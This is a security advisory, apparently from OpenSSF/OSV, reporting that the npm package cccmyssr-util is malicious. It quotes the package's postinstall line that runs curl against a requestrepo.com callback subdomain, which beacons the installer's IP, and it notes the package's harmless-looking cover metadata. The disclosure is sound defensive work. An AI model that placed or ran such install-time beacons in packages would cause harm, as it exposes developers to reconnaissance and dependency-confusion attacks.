OpenSSF/OSV advisory MAL-2026-6390 confirms this npm version as malicious. On `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in cccmyssr-util (npm)
Details
On `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (`index.js` exports a one-line `formatDate`), with empty author metadata and a generic `A harmless utility package` description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.
Decision reason
OpenSSF Malicious Packages via OSV confirms cccmyssr-util@1.0.0 as malicious (MAL-2026-6390): Malicious code in cccmyssr-util (npm)